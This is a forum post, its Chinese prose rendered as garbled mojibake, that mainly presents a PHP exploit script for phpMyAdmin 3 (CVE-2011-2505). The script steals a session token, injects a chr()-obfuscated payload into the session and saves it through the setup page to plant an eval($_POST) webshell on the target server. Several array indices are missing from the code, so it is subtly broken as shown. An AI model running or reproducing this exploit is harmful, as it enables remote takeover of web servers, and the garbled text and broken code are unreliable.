admin ·¢±íÓÚ 2013-2-21 09:13:03

phpadmin3 remote code execute php°æ±¾exploit

×î½üÔÚ¼Ò×öרְÄÌ°Ö£¬²»ÚÏȦÄÚʺܶàmonthsÁË£¬²©¿ÍÒ²ÎÞ¸üС£

×òÒ¹´øº¢×ÓÕûҹδÃߣ¬¿´µ½ºÚ¸çÔÚphp securityȺÀï¹ØÓÚphpmyadmin3©¶´µÄÌÖÂÛ£¬ËäȻ֮ǰû¿´¹ý©¶´´úÂ룬²»¹ýÇ°¶Îʱ¼ä»¹ÊÇÔÚ΢²©ÉÏ¿´µ½wofeiwoµÄexpÁË£¬²»¹ý¾ÝºÚ¸ç˵Óв»¼¦ÀßµÄÀûÓ÷½·¨£¬ÓÚÊÇÒ¹Àï·­´úÂë³öÀ´Ñо¿ÁË·­£¬Ð´³öÁËÕâ¸öÀä·¹exp£¬ÓÉÓÚÎÒ¸ãµÄÍíÁË£¬Ö®Ç°ÒѾ­ºÜ¶àÈËÑо¿ÁËдexpÁË£¬ÓÚÊÇÎÒÕâ¸öÊôÓÚ³´Àä·¹£¬È¨µ±Ñо¿Ñо¿´ò·¢Ê±¼äÁË¡£

Ê×ÏÈÔÞÏÂwofeiwoµÄpython°æ±¾µÄexp£¬ÔÙÔÞÏÂwofeiwo¸úsuperheiµÄ×êÑо«Éñ£¬Ñ§Ï°µÄ°ñÑù°¡¡£²»¹ý֮ǰÄǸöexpÀûÓÃÆðÀ´ÊÇÓÐһЩÏÞÖƵģº
Ò»ÊÇsession.auto_start = 1£»
¶þÊÇpma3ĬÈÏ´úÂëÀïlibrariesĿ¼ÒѾ­ÓÃ.htaccess¿ØÖÆÁ˲»ÔÊÐí·ÃÎÊ¡£
µ±È»»¹ÓеÚÈýµã´ó¼Ò¶¼²»¿ÉÒÔÓâÔ½µÄºè¹µ£ºconfigĿ¼´æÔÚÇÒ¿Éд¡£

ÔÚȺÀï¿´Á˺ڸçµÄ·¢ÑÔºó£¬ÔÙ¿´ÁËÏ´úÂ룬·¢ÏÖÇ°Á½µãÀûÓÃÏÞÖƾù¿ÉÒÔÎÞÊÓ¡£ËùÒÔÆäʵÕâ¸ö©¶´»¹ÕæµÄ¿ÉÒÔ²»ÊÇÄÇô¼¦Àß¡£

ÓÚÊÇдÁËÕâ¸öphp°æ±¾µÄexp£¬´úÂëÈçÏ£º

#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

/**
* working when the directory:"config" exists and is writeable.
**/

if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv.' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
php '.$argv.' localhost /pma/
+---------------------------------------------------------------------------+
');
    exit;
}

$host = $argv;
$path = $argv;

/**
* Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp;
$sessionid=$resp;
if($token && $sessionid){
    echo "[+] token:$token\n";
    echo "[+] Session ID:$sessionid\n";
}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

/**
* Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
* Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST)\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

function php_request($url,$data='',$cookie=''){
    global$host, $path;
   
    $method=$data?'POST':'GET';
   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
    }
    fputs($fp, $packet);

    $resp = '';

    while ($fp && !feof($fp))
      $resp .= fread($fp, 1024);

    return $resp;
}
   
?>
.
Ò³: [1]
²é¿´ÍêÕû°æ±¾: phpadmin3 remote code execute php°æ±¾exploit